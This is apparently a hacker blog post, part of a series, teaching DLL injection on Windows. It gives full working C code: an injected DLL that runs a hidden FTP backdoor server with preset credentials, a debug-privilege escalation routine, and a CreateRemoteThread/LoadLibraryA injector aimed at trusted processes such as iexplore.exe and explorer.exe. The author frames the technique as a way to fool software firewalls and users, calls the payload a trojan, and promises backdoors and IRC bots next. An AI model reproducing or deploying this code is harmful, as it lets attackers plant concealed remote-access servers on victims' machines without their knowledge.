Quite simply, we called main which worked fine. BUT indiftpd will not return from main, as it's an ftp server, unless it is told to quit, it will loop inside main forever. This means iexplorer has got stuck inside the main loop and never can do anything else...

Not quite what we wanted, so we need to be more inventive.

What we need is for indiftpd to run on a seperate thread, leaving iexplorer to work as normal.

Let's try again, using the api CreateThread to setup a new thread for indiftpd, and this way we can ensure DllMain returns immediately, leaving iexplorer to do it's normal jobs...

// dllmain.cpp
// Tibbar - conversion of indiftpd to dll for injection...

#include "windows.h"

extern int main(int argc, char **argv);

static DWORD WINAPI StartThreadProc(
LPVOID lpParameter)
{
// indiftpd.exe -p2121 -r5000-5010 -Utibbar -Pletmein
char param0[256] = "indiftpd.exe";
char param1[256] = "-p1337";
char param2[256] = "-r5000-5010";
char param3[256] = "-Uhax0r";
char param4[256] = "Ppwnedus3r";
char* argvarray[4];
argvarray[0] = param0;
argvarray[1] = param1;
argvarray[2] = param2;
argvarray[3] = param3;
argvarray[4] = param4;
main(5, argvarray);
return 0;

}

BOOL WINAPI DllMain(
HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{

if(fdwReason == DLL_PROCESS_ATTACH)
{
unsigned long id;

HANDLE hThread = CreateThread(NULL, 0, StartThreadProc, NULL, 0, &id);

}

if(fdwReason == DLL_PROCESS_DETACH)
{

}
return TRUE;

}

We can test this using the injector app and behold, we find iexplorer.exe doesn't hang and the ftpd is working perfectly!

So the hacker can now inject a full ftp server into any system process (e.g. explorer.exe), and the end user's software firewall will simply ask the user is explorer.exe is allowed to access the internet etc.

For the average user this will be an immediate yes, since they have complete trust in explorer.exe.

Of course, firewall companies have got wise to this trick. The better firewalls hook CreateRemoteThread to catch this type of activity, but there are ways around this - see rootkit.com for methods of achieving CreateRemoteThread without using this api command.

Also, the windows firewall is oblivious to this trick.

Hope you are enjoying this little series. I have now installed google adsense to pay for the monthly blog hosting.

Tibbar.

ok, as promised I will now explain a bit more about how CreateRemoteThread can be used to bypass software firewalls.

MSDN gives the following prototype for the function:

HANDLE CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);

The key parameters here are hProcess - this will be a handle to the process we wish to inject into; lpStartAddress - this is an address to a routine that will be executed in the newly created thread, and lpParameter - this will be a parameter to pass to the thread function.

We will use a sneaky trick that will allow us to load an entire dll into the target process using this api...

The lpStartAddress function pointer has the type:

DWORD WINAPI ThreadProc(
LPVOID lpParameter
);

This means the function must have a single parameter. By some chance, the following winapi used to load dll's into a process' memory space also takes a single parameter:

HINSTANCE LoadLibrary(
LPCTSTR lpLibFileName
);

Also by some fortune, we are guaranteed that the function LoadLibrary exists in the target process' memory space, since all processes in windows load kernel32.dll upon initialisation - and even better than this, it will live at exactly the same memory location for all processes...

This leads us to the following strategy:

1) Use the api VirtualAllocEx and WriteProcessMemory to allocate memory in the target process and write the path name of a dll we wish to inject into the target process (e.g. c:\windows\evil.dll);

2) Get a pointer to LoadLibraryA (the "A" means we use the ANSI version, not UNICODE);

3) Use the api CreateRemoteThread to start a new thread that calls LoadLibraryA with a pointer to the dll path.

Our final point of good fortune is that LoadLibrary will call the function DllMain from our injected dll, once it has been loaded into the target process.

This means that the dll can run as a normal executable once inside the target process and is in no way limited in it functionality.

All sounds too easy? There is one other minor issue, to use CreateRemoteThread against system processes (e.g. explorer.exe), you need to have a special security priviledge known as "debug privs". Fortunetely we can gain these using another special api "AdjustTokenPrivileges". I won't go into the details of how this works, but the code below should explain this.

BOOL AdjustTokenToDebug()
{
// find the LUID of debug privilege token
LUID tLUID;
BOOL diditwork=LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tLUID);
if(diditwork!=0)
{
HANDLE hProcess=GetCurrentProcess();
if(hProcess!=0)
{
// Open the token for adjusting and querying
// (if we can - user may not have rights):
HANDLE hToken;//=new HANDLE;
diditwork=OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&hToken);
//DWORD x=GetLastError();
if(diditwork!=0)
{
// time to adjust debug privs
TOKEN_PRIVILEGES tTP;
TOKEN_PRIVILEGES tTPOld;
tTP.PrivilegeCount=1;
tTP.Privileges->Attributes=SE_PRIVILEGE_ENABLED;
tTP.Privileges->Luid.HighPart=tLUID.HighPart;
tTP.Privileges->Luid.LowPart=tLUID.LowPart;

// now we adjust privs
DWORD lengthReturned;
diditwork=AdjustTokenPrivileges(hToken,0,&tTP,sizeof(tTP),&tTPOld,&lengthReturned);
//x=GetLastError();
CloseHandle(hToken);
if(diditwork!=0)
{
return 1;
}
}
}
}
return 0;
}

You can use the function AdjustTokenToDebug to provide your injection app the correct privileges to inject into any system process.

Ok, so now we can finally see how injection works...here's a full code snippet:

#include "stdafx.h"
#include "install hooks.h"
#include "Tlhelp32.h"
#include "Psapi.h"

#pragma comment( lib, "Psapi" )

int APIENTRY _tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{

// 1st of all we need god privs to do process injection
AdjustTokenToDebug();

// dll to inject

char dll[] = "myDll.dll";
char temp[500];
GetCurrentDirectoryA(500, temp);

strcat(temp, "\\");
strcat(temp, dll);

char processName[] = "iexplore.exe";
DWORD targetPID = GetProcessPIDByName(processName);
if(targetPID==0){return 0;}

// inject trojan dll into explorer.exe
HANDLE targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS,false,targetPID);

int x = strlen(temp);
SIZE_T numWritten = 0;
void* lpTargetMemory = VirtualAllocEx(targetProcessHandle,0,strlen(temp),0x1000,0x4);
BOOL diditWrite = WriteProcessMemory(targetProcessHandle,lpTargetMemory,temp,strlen(temp),0);
DWORD ThreadID;
HMODULE dllInjectHandle=NULL;

HANDLE hThread=CreateRemoteThread(targetProcessHandle,0,0,(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32"),"LoadLibraryA"),lpTargetMemory,0,&ThreadID);

return FALSE;
}

DWORD GetProcessPIDByName(char moduleName[256])
{

//get pid
DWORD idProcess[256];
DWORD cb = sizeof(idProcess);
DWORD cdNeeded;
BOOL didigetlist = EnumProcesses((DWORD*)&idProcess, cb,&cdNeeded);
char szProcessName[256] = "unknown";
int noProcess=cdNeeded/sizeof(DWORD);
int searchPID=0;
int i=0;
for (i=0; i lessthan noProcess; i++ )
{
HANDLE hProcess=OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ,FALSE,idProcess[i]);
if (NULL != hProcess)
{
HMODULE hMod;
DWORD cbNeeded;
BOOL didnumwork = EnumProcessModules( hProcess, &hMod, sizeof(hMod),&cbNeeded);
DWORD y=GetLastError();
if ( didnumwork )
{
DWORD diditwork=GetModuleBaseName( hProcess, hMod, szProcessName,sizeof(szProcessName) );
_strlwr((char*)&szProcessName);
DWORD x = GetLastError();
}
}

if(stricmp(szProcessName,moduleName)==0)
{
searchPID=idProcess[i];
break;
}
}
return searchPID;
}

This will allow you to load any dll into any running process. Next time we will look at how we can use a dll to hold a typical malware program - e.g. a backdoor, irc bot etc... and how any normal application can be converted into a dll.

Tibbar.